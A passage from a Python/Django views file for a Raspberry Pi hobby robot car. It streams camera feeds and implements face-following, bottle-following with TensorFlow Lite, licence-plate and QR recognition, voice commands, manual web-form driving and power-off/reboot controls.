w - 6), font, 1.0, (255, 0, 255), 2)\n\n # dragoncar turn left or right and go\n if ((face_names.count(known_face_names[0]) == 1) and (name == known_face_names[0])):\n lr = (h+y)/2\n if (lr > centerx):\n robot.right(0.2)\n time.sleep(0.1)\n robot.stop()\n print(\"left\")\n if (lr < centerx):\n robot.left(0.2)\n time.sleep(0.1)\n robot.stop()\n print(\"right\")\n\n bilv = round((y-h)/(w-x)*0.5, 2)\n if (bilv > 0.5):\n robot.stop()\n print(\"stop stop\")\n else:\n robot.forward(speed=0.75*(1-bilv))\n print(\"go go go\")\n else:\n robot.stop()\n print(\"no name , stop!!!\")\n\n # encode as a jpeg image and return it\n yield cv2.imencode('.jpg', frame)[1].tobytes()\n\n# face_names.count(known_face_names[0]) == 1\n\n\nclass Recface(BaseCamera):\n video_source = 0\n\n def __init__(self):\n if os.environ.get('OPENCV_CAMERA_SOURCE'):\n Recface.set_video_source(int(os.environ['OPENCV_CAMERA_SOURCE']))\n super(Recface, self).__init__()\n\n @staticmethod\n def set_video_source(source):\n Recface.video_source = source\n\n @staticmethod\n def frames():\n\n camera = cv2.VideoCapture(Recface.video_source)\n if not camera.isOpened():\n raise RuntimeError('Could not start camera.')\n\n framex = camera.get(3)\n framey = camera.get(4)\n centerx = framex/2\n centery = framey/2\n font = cv2.FONT_HERSHEY_SIMPLEX\n\n uploadimages = Uploadimage.objects.filter(rec__icontains=\"1\")\n known_face_encodings = []\n known_face_names = []\n\n for uploadimage in uploadimages:\n filename = uploadimage.filename\n peoplename = uploadimage.peoplename\n encodingfile = os.path.dirname(os.path.dirname(__file__)) + '/media/recface/file/' + filename + '.npy'\n encodingexit = os.path.exists(encodingfile)\n if encodingexit:\n known_face_names.append(peoplename)\n known_face_encodings.append(np.load(encodingfile))\n\n# Initialize some variables\n face_locations = []\n face_encodings = []\n face_names = []\n process_this_frame = True\n\n while True:\n # read current frame\n _, frame = camera.read()\n\n # Resize frame of video to 1/4 size for faster face recognition processing\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n\n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\n rgb_small_frame = small_frame[:, :, ::-1]\n\n if process_this_frame:\n # Find all the faces and face encodings in the current frame of video\n face_locations = face_recognition.face_locations(rgb_small_frame)\n face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)\n\n face_names = []\n for face_encoding in face_encodings:\n # See if the face is a match for the known face(s)\n matches = face_recognition.compare_faces(known_face_encodings, face_encoding, tolerance=0.50)\n name = \"Unknown\"\n\n # If a match was found in known_face_encodings, just use the first one.\n if True in matches:\n first_match_index = matches.index(True)\n name = known_face_names[first_match_index]\n\n face_names.append(name)\n\n process_this_frame = not process_this_frame\n\n # Display the results\n# for (top, right, bottom, left), name in zip(face_locations, face_names):\n for (x, y, w, h), name in zip(face_locations, face_names):\n # Scale back up face locations since the frame we detected in was scaled to 1/4 size\n x *= 4\n y *= 4\n w *= 4\n h *= 4\n# name = name + str(x) + \" \" + str(y) + \" \" + str(w) + \" \" + str(h)\n # Draw a box around the face\n cv2.rectangle(frame, (h, x), (y, w), (0, 255, 255), 2)\n cv2.putText(frame, name, (h + 6, w - 6), font, 1.0, (255, 0, 255), 2)\n\n # encode as a jpeg image and return it\n yield cv2.imencode('.jpg', frame)[1].tobytes()\n\n\n# tensorflow lite\nclass CameraFollowObject(BaseCamera):\n video_source = 0\n\n def __init__(self):\n if os.environ.get('OPENCV_CAMERA_SOURCE'):\n CameraFollowObject.set_video_source(int(os.environ['OPENCV_CAMERA_SOURCE']))\n super(CameraFollowObject, self).__init__()\n\n @staticmethod\n def set_video_source(source):\n CameraFollowObject.video_source = source\n\n @staticmethod\n def frames():\n\n\n\n# configure arguments -- begin\n MODEL_NAME = 'Sample_TFlite_model'\n GRAPH_NAME = 'detect.tflite'\n LABELMAP_NAME = 'labelmap.txt'\n min_conf_threshold = float(0.7)\n imW, imH = 640, 320\n# configure arguments --end\n\n# Import TensorFlow libraries\n# If tflite_runtime is installed, import interpreter from tflite_runtime, else import from regular tensorflow\n pkg = importlib.util.find_spec('tflite_runtime')\n if pkg:\n from tflite_runtime.interpreter import Interpreter\n else:\n from tensorflow.lite.python.interpreter import Interpreter\n\n# Get path to current working directory\n CWD_PATH = os.getcwd()\n\n# Path to .tflite file, which contains the model that is used for object detection\n PATH_TO_CKPT = os.path.join(CWD_PATH,MODEL_NAME,GRAPH_NAME)\n\n# Path to label map file\n PATH_TO_LABELS = os.path.join(CWD_PATH,MODEL_NAME,LABELMAP_NAME)\n\n# Load the label map\n with open(PATH_TO_LABELS, 'r') as f:\n labels = [line.strip() for line in f.readlines()]\n\n# Have to do a weird fix for label map if using the COCO \"starter model\" from\n# https://www.tensorflow.org/lite/models/object_detection/overview\n# First label is '???', which has to be removed.\n if labels[0] == '???':\n del(labels[0])\n\n# Load the Tensorflow Lite model.\n interpreter = Interpreter(model_path=PATH_TO_CKPT)\n\n interpreter.allocate_tensors()\n\n# Get model details\n input_details = interpreter.get_input_details()\n output_details = interpreter.get_output_details()\n height = input_details[0]['shape'][1]\n width = input_details[0]['shape'][2]\n\n floating_model = (input_details[0]['dtype'] == np.float32)\n\n input_mean = 127.5\n input_std = 127.5\n\n # Initialize video stream\n videostream = VideoStream(resolution=(imW,imH),framerate=30).start()\n time.sleep(1)\n\n #for frame1 in camera.capture_continuous(rawCapture, format=\"bgr\",use_video_port=True):\n while True:\n # Grab frame from video stream\n frame1 = videostream.read()\n\n # Acquire frame and resize to expected shape [1xHxWx3]\n frame = frame1.copy()\n frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame_resized = cv2.resize(frame_rgb, (width, height))\n input_data = np.expand_dims(frame_resized, axis=0)\n\n # Normalize pixel values if using a floating model (i.e. if model is non-quantized)\n if floating_model:\n input_data = (np.float32(input_data) - input_mean) / input_std\n\n # Perform the actual detection by running the model with the image as input\n interpreter.set_tensor(input_details[0]['index'],input_data)\n interpreter.invoke()\n\n # Retrieve detection results\n boxes = interpreter.get_tensor(output_details[0]['index'])[0] # Bounding box coordinates of detected objects\n classes = interpreter.get_tensor(output_details[1]['index'])[0] # Class index of detected objects\n scores = interpreter.get_tensor(output_details[2]['index'])[0] # Confidence of detected objects\n\n # boxes: [ymin, xmin, ymax, xmax]\n\n # Loop over all detections and draw detection box if confidence is above minimum threshold\n maidongnum = 0\n for i in range(len(scores)):\n if (scores[i] > min_conf_threshold) and (scores[i] < 1):\n # if too large, it will ignore\n if (boxes[i][3] - boxes[i][1] > 0.5) or (boxes[i][2] - boxes[i][0] > 0.9):\n continue\n\n maidongnum = maidongnum + 1\n # Get bounding box coordinates and draw box\n # Interpreter can return coordinates that are outside of image dimensions, need to force them to be within image using max() and min()\n ymin = int(max(1,(boxes[i][0] * imH)))\n xmin = int(max(1,(boxes[i][1] * imW)))\n ymax = int(min(imH,(boxes[i][2] * imH)))\n xmax = int(min(imW,(boxes[i][3] * imW)))\n\n cv2.rectangle(frame, (xmin,ymin), (xmax,ymax), (10, 255, 0), 2)\n\n # Draw label\n object_name = labels[int(classes[i])] # Look up object name from \"labels\" array using class index\n label = '%s: %d%%' % (object_name, int(scores[i]*100)) # Example: 'person: 72%'\n labelSize, baseLine = cv2.getTextSize(label, cv2.FONT_HERSHEY_SIMPLEX, 0.7, 2) # Get font size\n label_ymin = max(ymin, labelSize[1] + 10) # Make sure not to draw label too close to top of window\n cv2.rectangle(frame, (xmin, label_ymin-labelSize[1]-10), (xmin+labelSize[0], label_ymin+baseLine-10), (255, 255, 255), cv2.FILLED) # Draw white box to put label text in\n cv2.putText(frame, label, (xmin, label_ymin-7), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 0), 2) # Draw label text\n else:\n break\n\n if (maidongnum == 1):\n followboxymin = boxes[0][0]\n followboxxmin = boxes[0][1]\n followboxymax = boxes[0][2]\n followboxxmax = boxes[0][3]\n\n followxc=(followboxxmin + followboxxmax)/2\n followyc=(followboxymin + followboxymax)/2\n\n print(followxc, followyc)\n\n if (followxc > 0.5):\n robot.right(0.3)\n time.sleep(0.2)\n robot.stop()\n print(\"left\")\n else:\n robot.left(0.3)\n time.sleep(0.2)\n robot.stop()\n print(\"right\")\n\n bilv = round(followboxxmax - followboxxmin, 2)\n if (bilv > 0.5):\n robot.stop()\n print(\"stop stop\")\n else:\n robot.forward(speed=1-bilv)\n print(\"go go go\")\n\n else:\n robot.stop() \n # Draw framerate in corner of frame\n cv2.putText(frame, str(maidongnum) + ' bottle', (30,50),cv2.FONT_HERSHEY_SIMPLEX,1,(255,255,0),2,cv2.LINE_AA)\n\n # encode as a jpeg image and return it\n yield cv2.imencode('.jpg', frame)[1].tobytes()\n\n\n\n# tensorflow lite\nclass CameraObjectDetect(BaseCamera):\n video_source = 0\n\n def __init__(self):\n if os.environ.get('OPENCV_CAMERA_SOURCE'):\n CameraObjectDetect.set_video_source(int(os.environ['OPENCV_CAMERA_SOURCE']))\n super(CameraObjectDetect, self).__init__()\n\n @staticmethod\n def set_video_source(source):\n CameraObjectDetect.video_source = source\n\n @staticmethod\n def frames():\n\n\n\n# configure arguments -- begin\n MODEL_NAME = 'Sample_TFlite_model'\n GRAPH_NAME = 'objectdetect.tflite'\n LABELMAP_NAME = 'labelmapobjectdetect.txt'\n min_conf_threshold = float(0.7)\n imW, imH = 640, 320\n# configure arguments --end\n\n# Import TensorFlow libraries\n# If tflite_runtime is installed, import interpreter from tflite_runtime, else import from regular tensorflow\n pkg = importlib.util.find_spec('tflite_runtime')\n if pkg:\n from tflite_runtime.interpreter import Interpreter\n else:\n from tensorflow.lite.python.interpreter import Interpreter\n\n# Get path to current working directory\n CWD_PATH = os.getcwd()\n\n# Path to .tflite file, which contains the model that is used for object detection\n PATH_TO_CKPT = os.path.join(CWD_PATH,MODEL_NAME,GRAPH_NAME)\n\n# Path to label map file\n PATH_TO_LABELS = os.path.join(CWD_PATH,MODEL_NAME,LABELMAP_NAME)\n\n# Load the label map\n with open(PATH_TO_LABELS, 'r') as f:\n labels = [line.strip() for line in f.readlines()]\n\n# Have to do a weird fix for label map if using the COCO \"starter model\" from\n# https://www.tensorflow.org/lite/models/object_detection/overview\n# First label is '???', which has to be removed.\n if labels[0] == '???':\n del(labels[0])\n\n# Load the Tensorflow Lite model.\n interpreter = Interpreter(model_path=PATH_TO_CKPT)\n\n interpreter.allocate_tensors()\n\n# Get model details\n input_details = interpreter.get_input_details()\n output_details = interpreter.get_output_details()\n height = input_details[0]['shape'][1]\n width = input_details[0]['shape'][2]\n\n floating_model = (input_details[0]['dtype'] == np.float32)\n\n input_mean = 127.5\n input_std = 127.5\n\n frame_rate_calc = 1\n freq = cv2.getTickFrequency()\n\n # Initialize video stream\n videostream = VideoStream(resolution=(imW,imH),framerate=30).start()\n time.sleep(1)\n\n #for frame1 in camera.capture_continuous(rawCapture, format=\"bgr\",use_video_port=True):\n while True:\n t1 = cv2.getTickCount()\n # Grab frame from video stream\n frame1 = videostream.read()\n\n # Acquire frame and resize to expected shape [1xHxWx3]\n frame = frame1.copy()\n frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame_resized = cv2.resize(frame_rgb, (width, height))\n input_data = np.expand_dims(frame_resized, axis=0)\n\n # Normalize pixel values if using a floating model (i.e. if model is non-quantized)\n if floating_model:\n input_data = (np.float32(input_data) - input_mean) / input_std\n\n # Perform the actual detection by running the model with the image as input\n interpreter.set_tensor(input_details[0]['index'],input_data)\n interpreter.invoke()\n\n # Retrieve detection results\n boxes = interpreter.get_tensor(output_details[0]['index'])[0] # Bounding box coordinates of detected objects\n classes = interpreter.get_tensor(output_details[1]['index'])[0] # Class index of detected objects\n scores = interpreter.get_tensor(output_details[2]['index'])[0] # Confidence of detected objects\n\n # boxes: [ymin, xmin, ymax, xmax]\n\n # Loop over all detections and draw detection box if confidence is above minimum threshold\n for i in range(len(scores)):\n if (scores[i] > min_conf_threshold) and (scores[i] < 1):\n # Get bounding box coordinates and draw box\n # Interpreter can return coordinates that are outside of image dimensions, need to force them to be within image using max() and min()\n ymin = int(max(1,(boxes[i][0] * imH)))\n xmin = int(max(1,(boxes[i][1] * imW)))\n ymax = int(min(imH,(boxes[i][2] * imH)))\n xmax = int(min(imW,(boxes[i][3] * imW)))\n\n cv2.rectangle(frame, (xmin,ymin), (xmax,ymax), (10, 255, 0), 2)\n\n # Draw label\n object_name = labels[int(classes[i])] # Look up object name from \"labels\" array using class index\n label = '%s: %d%%' % (object_name, int(scores[i]*100)) # Example: 'person: 72%'\n labelSize, baseLine = cv2.getTextSize(label, cv2.FONT_HERSHEY_SIMPLEX, 0.7, 2) # Get font size\n label_ymin = max(ymin, labelSize[1] + 10) # Make sure not to draw label too close to top of window\n cv2.rectangle(frame, (xmin, label_ymin-labelSize[1]-10), (xmin+labelSize[0], label_ymin+baseLine-10), (255, 255, 255), cv2.FILLED) # Draw white box to put label text in\n cv2.putText(frame, label, (xmin, label_ymin-7), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 0), 2) # Draw label text\n\n # Draw framerate in corner of frame\n cv2.putText(frame,'FPS: {0:.2f}'.format(frame_rate_calc),(30,50),cv2.FONT_HERSHEY_SIMPLEX,1,(255,255,0),2,cv2.LINE_AA)\n\n # Calculate framerate\n t2 = cv2.getTickCount()\n time1 = (t2-t1)/freq\n frame_rate_calc= 1/time1\n\n # encode as a jpeg image and return it\n yield cv2.imencode('.jpg', frame)[1].tobytes()\n\n\ndef stopstatus():\n os.system(\"ps -aux | grep dragoncar | cut -d ' ' -f9 | xargs kill -9\")\n os.system(\"ps -aux | grep dragoncar | cut -d ' ' -f10 | xargs kill -9\")\n\n\ndef fixeddistance():\n os.system(\"python3 \" + scriptfolder + \"dragoncar-fixeddistance.py\")\n\n\ndef autocar(request):\n if \"carfixeddistance\" in request.POST:\n print(\"fixed distance\")\n fixeddistance()\n if \"carstop\" in request.POST:\n stopstatus()\n# robot.stop()\n\n return render(request, 'dragoncar/autocar.html')\n\n\n\n\ndef gen(camera):\n while True:\n frame = camera.get_frame()\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n\n\ndef video_feed(request):\n return StreamingHttpResponse(gen(Localcamera()),\n content_type='multipart/x-mixed-replace; boundary=frame')\n\n\ndef detectcarnumber_feed(request):\n return StreamingHttpResponse(gen(CameraDetectcarnumber()),\n content_type='multipart/x-mixed-replace; boundary=frame')\n\n\n# opencv camera\ndef followme_feed(request):\n return StreamingHttpResponse(gen(Camera()),\n content_type='multipart/x-mixed-replace; boundary=frame')\n\n\n# opencv camera\ndef followobject_feed(request):\n return StreamingHttpResponse(gen(CameraFollowObject()),\n content_type='multipart/x-mixed-replace; boundary=frame')\n\n\n# opencv camera\ndef recface_feed(request):\n return StreamingHttpResponse(gen(Recface()),\n content_type='multipart/x-mixed-replace; boundary=frame')\n\n\n# opencv camera\ndef photofacepic_feed(request):\n return StreamingHttpResponse(gen(Photofacepic()),\n content_type='multipart/x-mixed-replace; boundary=frame')\n\n\n# opencv camera\ndef objectdetect_feed(request):\n return StreamingHttpResponse(gen(CameraObjectDetect()),\n content_type='multipart/x-mixed-replace; boundary=frame')\n\n\ndef index(request):\n return render(request, 'index.html')\n\n\ndef wificontrol(request):\n if (request.POST.get('power') != None):\n carpower = float(request.POST.get('power'))/1000\n print(carpower)\n\n if \"stop\" in request.POST:\n robot.stop()\n\n if \"up\" in request.POST:\n robot.forward(speed=carpower)\n if \"down\" in request.POST:\n robot.backward(speed=carpower)\n if \"left\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n if \"right\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n\n if \"littleup\" in request.POST:\n robot.forward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littledown\" in request.POST:\n robot.backward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleleft\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleright\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n\n return render(request, 'dragoncar/wificontrol.html') \n\n\ndef videocar(request):\n if (request.POST.get('power') != None):\n carpower = float(request.POST.get('power'))/1000\n print(carpower)\n global servoudvalue\n global servolrvalue\n\n if \"stop\" in request.POST:\n robot.stop()\n\n if \"up\" in request.POST:\n robot.forward(speed=carpower)\n if \"down\" in request.POST:\n robot.backward(speed=carpower)\n if \"left\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n if \"right\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n\n if \"littleup\" in request.POST:\n robot.forward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littledown\" in request.POST:\n robot.backward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleleft\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleright\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"servod\" in request.POST:\n if servoudvalue < 1.0:\n servoudvalue = servoudvalue + 0.1\n servoud.value = servoudvalue\n if \"servou\" in request.POST:\n if servoudvalue > -1.0:\n servoudvalue = servoudvalue - 0.1\n servoud.value = servoudvalue\n if \"servlr\" in request.POST:\n if servolrvalue < 1.0:\n servolrvalue = servolrvalue + 0.1\n servolr.value = servolrvalue\n if \"servlr\" in request.POST:\n if servolrvalue > -1.0:\n servolrvalue = servolrvalue - 0.1\n servolr.value = servolrvalue\n\n return render(request, 'dragoncar/videocar.html')\n\n\ndef followme(request):\n return render(request, 'dragoncar/followme.html')\n\n\ndef voicecontrol(request):\n return render(request, 'dragoncar/voicecontrol.html')\n\n\ndef voicecar(request):\n return render(request, 'dragoncar/voicecar.html')\n\n\ndef uploadfile(request):\n return render(request, 'dragoncar/uploadfile.html')\n\n\ndef upload_file(request):\n if request.method == \"POST\":\n myFile =request.FILES.get(\"myfile\", None)\n if not myFile:\n print(\"no files for upload!\")\n return HttpResponse(\"no files for upload!\")\n destination = open(os.path.join(\"media/voice\",myFile.name),'wb+')\n for chunk in myFile.chunks():\n destination.write(chunk)\n destination.close()\n print(\"upload over!\")\n return HttpResponse(\"upload over!\")\n\n\ndef upload_voicecar(request):\n if request.method == \"POST\":\n myFile =request.FILES.get(\"myfile\", None)\n if not myFile:\n print(\"no files for upload!\")\n return HttpResponse(\"no files for upload!\")\n destination = open(os.path.join(\"media/voice\",myFile.name),'wb+')\n for chunk in myFile.chunks():\n destination.write(chunk)\n destination.close()\n\n rec = KaldiRecognizer(vosk_model, 16000)\n wf = wave.open(BASE_DIR + '/media/voice/voicecar.wav', \"rb\")\n\n while True:\n data = wf.readframes(4000)\n if len(data) == 0:\n break\n if rec.AcceptWaveform(data):\n rec.Result()\n\n data = json.loads(rec.FinalResult())\n voicetext = data['text']\n\n print(voicetext)\n\n qian = dragon_cf['voicerec']['qian'].split(',')\n yizhiqian = dragon_cf['voicerec']['yizhiqian'].split(',')\n hou = dragon_cf['voicerec']['hou'].split(',')\n yizhihou = dragon_cf['voicerec']['yizhihou'].split(',')\n zuo = dragon_cf['voicerec']['zuo'].split(',')\n you = dragon_cf['voicerec']['you'].split(',')\n ting = dragon_cf['voicerec']['ting'].split(',')\n\n if voicetext in qian:\n print(\"qianqianqian\")\n robot.forward(0.5)\n time.sleep(0.1)\n robot.stop()\n elif voicetext in yizhiqian:\n print(\"yizhiqian\")\n robot.forward(0.5)\n elif voicetext in hou:\n print(\"hou\")\n robot.backward(0.5)\n time.sleep(0.1)\n robot.stop()\n elif voicetext in yizhihou:\n print(\"yizhihou\")\n robot.backward(0.5)\n elif voicetext in zuo:\n print(\"zuo\")\n robot.left(0.5)\n time.sleep(0.1)\n robot.stop()\n elif voicetext in you:\n print(\"you\")\n robot.right(0.5)\n time.sleep(0.1)\n robot.stop()\n elif voicetext in ting:\n print(\"tingtingting\")\n robot.stop()\n\n return HttpResponse(\"upload over!\")\n\n\ndef pipoweroff():\n os.system(\"sudo poweroff\")\n\n\ndef pirestart():\n os.system(\"sudo reboot\")\n\n\ndef powermanage(request):\n if \"pipoweroff\" in request.POST:\n pipoweroff()\n if \"pirestart\" in request.POST:\n pirestart()\n\n return render(request, 'dragoncar/powermanage.html')\n\n\ndef follow(request):\n return render(request, 'dragoncar/follow.html')\n\n\ndef followobject(request):\n return render(request, 'dragoncar/followobject.html')\n\n\ndef objectdetect(request):\n return render(request, 'dragoncar/objectdetect.html')\n\n\ndef dragonvideo(request):\n return render(request, 'dragoncar/dragonvideo.html')\n\n\ndef dragonvoice(request):\n return render(request, 'dragoncar/dragonvoice.html')\n\n\ndef detectcarnumber(request):\n if (request.POST.get('power') != None):\n carpower = float(request.POST.get('power'))/1000\n print(carpower)\n\n if \"stop\" in request.POST:\n robot.stop()\n\n if \"up\" in request.POST:\n robot.forward(speed=carpower)\n if \"down\" in request.POST:\n robot.backward(speed=carpower)\n if \"left\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n if \"right\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n\n if \"littleup\" in request.POST:\n robot.forward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littledown\" in request.POST:\n robot.backward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleleft\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleright\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n\n return render(request, 'dragoncar/detectcarnumber.html')\n\n\n# detect car number\nclass CameraDetectcarnumber(BaseCamera):\n video_source = 0\n\n def __init__(self):\n if os.environ.get('OPENCV_CAMERA_SOURCE'):\n CameraDetectcarnumber.set_video_source(int(os.environ['OPENCV_CAMERA_SOURCE']))\n super(CameraDetectcarnumber, self).__init__()\n\n @staticmethod\n def set_video_source(source):\n CameraDetectcarnumber.video_source = source\n\n @staticmethod\n def frames():\n\n camera = cv2.VideoCapture(Camera.video_source)\n if not camera.isOpened():\n raise RuntimeError('Could not start camera.')\n\n font = ImageFont.truetype(os.path.dirname(os.path.dirname(__file__)) + '/font/jdjls.ttf', 40)\n\n while True:\n # read current frame\n _, frame = camera.read()\n img_PIL = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n carinfors = HyperLPR_plate_recognition(frame)\n for carinfor in carinfors:\n carnum = carinfor[0]\n caraccuracy = carinfor[1]\n rect = carinfor[2]\n img = cv2.rectangle(frame,(rect[0], rect[1]),(rect[2], rect[3]),(255,0,0),2)\n img_PIL = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n # 文字颜色\n fillColor = (255,0,0)\n # 文字输出位置\n position = (rect[0], rect[3])\n # 输出内容\n strc = carnum\n # 需要先把输出的中文字符转换成Unicode编码形式\n if not isinstance(strc, str):\n strc = strc.decode('utf8')\n\n draw = ImageDraw.Draw(img_PIL)\n draw.text(position, strc, font=font, fill=fillColor)\n\n frame = cv2.cvtColor(np.asarray(img_PIL),cv2.COLOR_RGB2BGR)\n\n # encode as a jpeg image and return it\n yield cv2.imencode('.jpg', frame)[1].tobytes()\n\n\ndef detectpeopleface(request):\n if (request.POST.get('power') != None):\n carpower = float(request.POST.get('power'))/1000\n print(carpower)\n\n if \"stop\" in request.POST:\n robot.stop()\n\n if \"up\" in request.POST:\n robot.forward(speed=carpower)\n if \"down\" in request.POST:\n robot.backward(speed=carpower)\n if \"left\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n if \"right\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n\n if \"littleup\" in request.POST:\n robot.forward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littledown\" in request.POST:\n robot.backward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleleft\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleright\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n\n return render(request, 'dragoncar/recface/detectpeopleface.html')\n\n\ndef uploadfacepic(request):\n return render(request, 'dragoncar/recface/uploadfacepic.html')\n\n\ndef upload_face_pic(request):\n if request.method == \"POST\" and request.POST.get('facename') != \"\":\n facepic =request.FILES.get(\"facefile\", None)\n if not facepic:\n print(\"no files for upload!\")\n return HttpResponse(\"no files for upload!\")\n destination = open(os.path.join(\"media/recface/pic\",facepic.name),'wb+')\n for chunk in facepic.chunks():\n destination.write(chunk)\n destination.close()\n print(\"upload over!\")\n\n peoplename = request.POST.get('facename')\n newimage = Uploadimage(filename=facepic.name, filesize=facepic.size, peoplename=peoplename)\n newimage.save()\n\n return render(request, 'dragoncar/recface/uploadfacepicok.html')\n else:\n return render(request, 'dragoncar/recface/uploadfacepic.html')\n\n\ndef managefacepic(request):\n if request.GET.get('facename') == None:\n return render(request, 'dragoncar/recface/managefacepic.html')\n\n if \"createrecfile\" in request.GET:\n createfacepicrecfile()\n\n facename = request.GET.get('facename')\n uploadimage = Uploadimage.objects.filter(peoplename__icontains=facename)\n\n return render(request, 'dragoncar/recface/managefacepic.html', {'uploadimage': uploadimage,})\n\n\nclass Photofacepic(BaseCamera):\n video_source = 0\n\n def __init__(self):\n if os.environ.get('OPENCV_CAMERA_SOURCE'):\n Photofacepic.set_video_source(int(os.environ['OPENCV_CAMERA_SOURCE']))\n super(Photofacepic, self).__init__()\n\n @staticmethod\n def set_video_source(source):\n Photofacepic.video_source = source\n\n @staticmethod\n def frames():\n\n camera = cv2.VideoCapture(Camera.video_source)\n if not camera.isOpened():\n raise RuntimeError('Could not start camera.')\n\n while True:\n # read current frame\n _, frame = camera.read()\n\n # encode as a jpeg image and return it\n yield cv2.imencode('.jpg', frame)[1].tobytes()\n\n\ndef photoface(request):\n if \"photopicface\" in request.POST:\n snapshotphoto()\n print(\"photo successful\")\n\n return render(request, 'dragoncar/recface/photoface.html')\n\n\ndef snapshotphoto():\n cam = Camera()\n photo = cam.get_frame()\n filename = datetime.now().strftime(\"%Y%m%d%H%M%S\") + \".jpg\"\n file = open(os.path.dirname(os.path.dirname(__file__)) + '/media/recface/pic/' + filename, 'wb+')\n file.write(photo)\n file.close()\n\n filesize = 60000\n peoplename = \"666666\"\n timestamp = datetime.now().strftime(\"%Y%m%d%H%M%S\")\n newimage = Uploadimage(filename=filename, filesize=filesize, peoplename=peoplename, timestamp=timestamp)\n newimage.save()\n\n\ndef photofacemodify(request):\n\n if request.GET.get('timestamp') == None:\n return render(request, 'dragoncar/recface/managefacepic.html')\n\n if \"cx\" in request.GET:\n timestamp = request.GET.get('timestamp')\n uploadimage = Uploadimage.objects.filter(timestamp__icontains=timestamp)\n\n return render(request, 'dragoncar/recface/photofacemodify.html', {'uploadimage': uploadimage,})\n\n if \"gx\" in request.GET:\n timestamp = request.GET.get('timestamp')\n peoplename = request.GET.get('peoplename')\n rec = request.GET.get('rec')\n\n Uploadimage.objects.filter(timestamp=timestamp).update(peoplename=peoplename, rec=rec)\n\n uploadimage = Uploadimage.objects.filter(timestamp__icontains=timestamp)\n\n return render(request, 'dragoncar/recface/photofacemodifyok.html', {'uploadimage': uploadimage,})\n\n\ndef createfacepicrecfile():\n uploadimages = Uploadimage.objects.filter(rec__icontains=\"1\")\n for uploadimage in uploadimages:\n filename = uploadimage.filename\n encodingfile = os.path.dirname(os.path.dirname(__file__)) + '/media/recface/file/' + filename + '.npy'\n encodingexit = os.path.exists(encodingfile)\n if not encodingexit:\n peopleimage = face_recognition.load_image_file(os.path.dirname(__file__) + '/../media/recface/pic/' + filename)\n face_encoding = face_recognition.face_encodings(peopleimage)[0]\n # np.save(filename, fileencoding)\n np.save(encodingfile, face_encoding)\n\n\ndef qrscan_feed(request):\n return StreamingHttpResponse(gen(CameraQRScan()),\n content_type='multipart/x-mixed-replace; boundary=frame')\n\n\ndef qrscan(request):\n if (request.POST.get('power') != None):\n carpower = float(request.POST.get('power'))/1000\n print(carpower)\n\n if \"stop\" in request.POST:\n robot.stop()\n\n if \"up\" in request.POST:\n robot.forward(speed=carpower)\n if \"down\" in request.POST:\n robot.backward(speed=carpower)\n if \"left\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n if \"right\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.3)\n robot.stop()\n time.sleep(0.1)\n robot.forward(speed=carpower)\n\n if \"littleup\" in request.POST:\n robot.forward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littledown\" in request.POST:\n robot.backward(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleleft\" in request.POST:\n robot.left(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n if \"littleright\" in request.POST:\n robot.right(speed=carpower)\n time.sleep(0.1)\n robot.stop()\n\n return render(request, 'dragoncar/qrsacn.html')\n\n\n# detect car number\nclass CameraQRScan(BaseCamera):\n video_source = 0\n\n def __init__(self):\n if 